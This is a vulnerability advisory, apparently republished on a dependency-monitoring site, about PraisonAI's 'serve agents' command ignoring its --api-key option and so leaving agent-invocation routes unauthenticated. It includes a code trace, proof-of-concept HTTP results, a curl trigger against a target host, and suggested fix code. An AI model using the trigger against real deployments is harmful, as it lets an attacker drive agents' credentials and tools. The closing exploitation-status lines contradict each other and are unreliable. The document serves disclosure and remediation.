Know every vulnerabilitybefore it knows you.
DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.
GHSA-r7v3-x45f-g7hp
Summary
praisonai serve agents exposes HTTP routes that invoke registered agents. The CLI advertises --api-key with help text "API key for authentication", parses it, and forwards it into ServeHandler. But _create_agents_app() never reads config["api_key"] again and installs no auth dependency or middleware on its direct routes. The configured key is a no-op flag.
As a result, an unauthenticated network caller can invoke exposed agents (POST /agents and POST /agents/{agent_name}) even when the operator passed --api-key. Requests with no credentials, a wrong Authorization: Bearer, a wrong X-API-Key, or an empty bearer all reach agent.start().
The failure is made sharper by the fact that a working auth dependency already exists in the same module — praisonai.api.agent_invoke.verify_token guards every /api/v1/... route with Depends(verify_token) and is mounted into the very same app. The direct n8n-compat routes simply do not use it.
Technical Detail
Source-to-sink trace
1. CLI advertises and forwards --api-key:
# cli/commands/serve.py
@app.command("agents")
def serve_agents(..., api_key: Optional[str] = typer.Option(None, "--api-key", help="API key for authentication")):
...
if api_key:
args.extend(["--api-key", api_key])
exit_code = handle_serve_command(args)
2. cmd_agents() parses api_key into the spec — and that is the last time it is touched:
# cli/features/serve.py — cmd_agents()
spec = { ..., "api_key": {"default": None} }
parsed = self._parse_args(args, spec)
app = self._create_agents_app(parsed)
A grep of the entire cli/features/serve.py for api_key returns only the two spec entries (cmd_agents line ~199 and cmd_unified line ~847). config["api_key"] is never read inside _create_agents_app() / _create_unified_app(); it is never compared, and no dependency is attached.
3. _create_agents_app() imports FastAPI, HTTPException, Request — no Depends, no Header, no auth middleware. Every HTTPException raised in the agents routes is 400/404/500 (validation / not-found / execution error); none is 401.
4. Sink — unauthenticated request reaches agent.start():
# cli/features/serve.py
@app.post("/agents/{agent_name}") # n8n compatibility route
async def invoke_single_agent(agent_name: str, request: Request):
body = await request.json()
query = body.get("query", "") or body.get("message", "")
...
agent = agent_invoke.get_agent(agent_name)
result = await loop.run_in_executor(None, agent.start, query) # no auth anywhere above
return {"response": str(result)}
@app.post(path) # default path "/agents"
async def invoke_agents(request: Request, query_data: AgentQuery = None):
... agent.start(query) ...
The auth dependency exists — it just isn't applied here
_create_agents_app() mounts the agent_invoke router into the same app:
# cli/features/serve.py
if getattr(agent_invoke, 'FASTAPI_AVAILABLE', False) and hasattr(agent_invoke, 'router'):
app.include_router(agent_invoke.router)
That router properly authenticates every sensitive route:
# api/agent_invoke.py
CALL_SERVER_TOKEN = os.getenv('CALL_SERVER_TOKEN')
async def verify_token(request, authorization=Header(None)) -> None:
...
if token != CALL_SERVER_TOKEN:
raise HTTPException(status_code=401, detail="Unauthorized")
@router.get("/api/v1/agents")
async def list_agents(_: None = Depends(verify_token)): ... # and register/unregister/info all use it
So in the same process GET /api/v1/agents returns 401 without a token, while POST /agents/{agent_name} returns 200. Note also that verify_token reads the CALL_SERVER_TOKEN env var — not the CLI --api-key — so the CLI option feeds no auth path at all.
Trigger conditions
praisonai serve agents --file agents.yaml --host 0.0.0.0 --port 8765 --api-key expected-secret
POST /agents/{agent_name} body {"query":"..."} with no / wrong / empty credentials
Proof of Concept
Built the real _create_agents_app() and exercised it over HTTP via FastAPI TestClient. Only praisonaiagents.Agent is stubbed (.start() returns EXEC:<query>), so no real LLM/credentials. CALL_SERVER_TOKEN=expected-secret was set so the sibling /api/v1 router is genuinely armed — making the contrast explicit.
Operator started with: --api-key expected-secret (CALL_SERVER_TOKEN also set)
== Sibling /api/v1 route WITH Depends(verify_token) ==
GET /api/v1/agents [no creds ] -> HTTP 401
GET /api/v1/agents [wrong bearer] -> HTTP 401
== Direct agent-invocation route (the bug) ==
POST /agents/owned [no creds ] -> HTTP 200 {'response': 'EXEC:hello'}
POST /agents/owned [wrong bearer ] -> HTTP 200 {'response': 'EXEC:hello'}
POST /agents/owned [wrong x-api-key] -> HTTP 200 {'response': 'EXEC:hello'}
POST /agents/owned [empty bearer ] -> HTTP 200 {'response': 'EXEC:hello'}
POST /agents [no creds ] -> HTTP 200 {'response': 'EXEC:hi'}
The auth mechanism works for /api/v1 (401) and is entirely absent on the direct /agents routes (200), despite --api-key being configured.
Equivalent HTTP trigger in a fully installed environment
praisonai serve agents --file agents.yaml --host 0.0.0.0 --port 8765 --api-key expected-secret
curl -sS -X POST http://TARGET:8765/agents/owned \
-H 'Content-Type: application/json' --data-binary '{"query":"hello"}'
# -> 200 {"response":"..."} (expected: 401 Unauthorized)
Impact
- Direct primitive: unauthenticated agent invocation despite a configured API key.
- Misleading control (aggravating): because the CLI advertises
--api-keyas authentication, operators may deliberately expose the service (e.g.--host 0.0.0.0, reverse proxy, n8n integration) believing it is protected, increasing the real-world likelihood of exposure. - Downstream: exposed agents commonly hold LLM provider credentials, RAG/memory, browser/search, MCP, or shell/file tools; the bypass lets an attacker drive those capabilities. Baseline impact is unauthorized LLM cost + access to agent responses.
Suggested Mitigation
- When
config["api_key"]is set, build a shared auth dependency and attach it to every agent-invocation / state-changing route in_create_agents_app()and_create_unified_app()(dependencies=[Depends(verify)]). - Reuse / unify with the existing
verify_tokenso the direct/agentsroutes and the/api/v1routes share one mechanism, and wire the CLI--api-keyinto that mechanism (today it feeds nothing;verify_tokenreadsCALL_SERVER_TOKEN). - Use constant-time comparison (
hmac.compare_digest);verify_tokencurrently uses!=. - Update discovery metadata from
auth_modes=["none"]to["api-key","bearer"]for protected endpoints. - Regression tests next to
tests/unit/test_serve_unified.py:_create_agents_app({"api_key":"secret",...})→POST /agents/{name}with no creds / wrongAuthorization/ wrongX-API-Keyreturns401; correct key succeeds.
import hmac
from fastapi import Header, HTTPException, Depends
def _auth_dependency(expected_key: str):
async def verify(authorization: str | None = Header(None),
x_api_key: str | None = Header(None, alias="X-API-Key")):
token = x_api_key
if authorization and authorization.startswith("Bearer "):
token = authorization[7:]
if not token or not hmac.compare_digest(token, expected_key):
raise HTTPException(status_code=401, detail="Unauthorized")
return Depends(verify)
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a low impact on the confidentiality of the information. There is a low impact on the integrity of the data. There is a low impact on the availability of the system.
Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
Browse More
Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.
Checkout DevGuard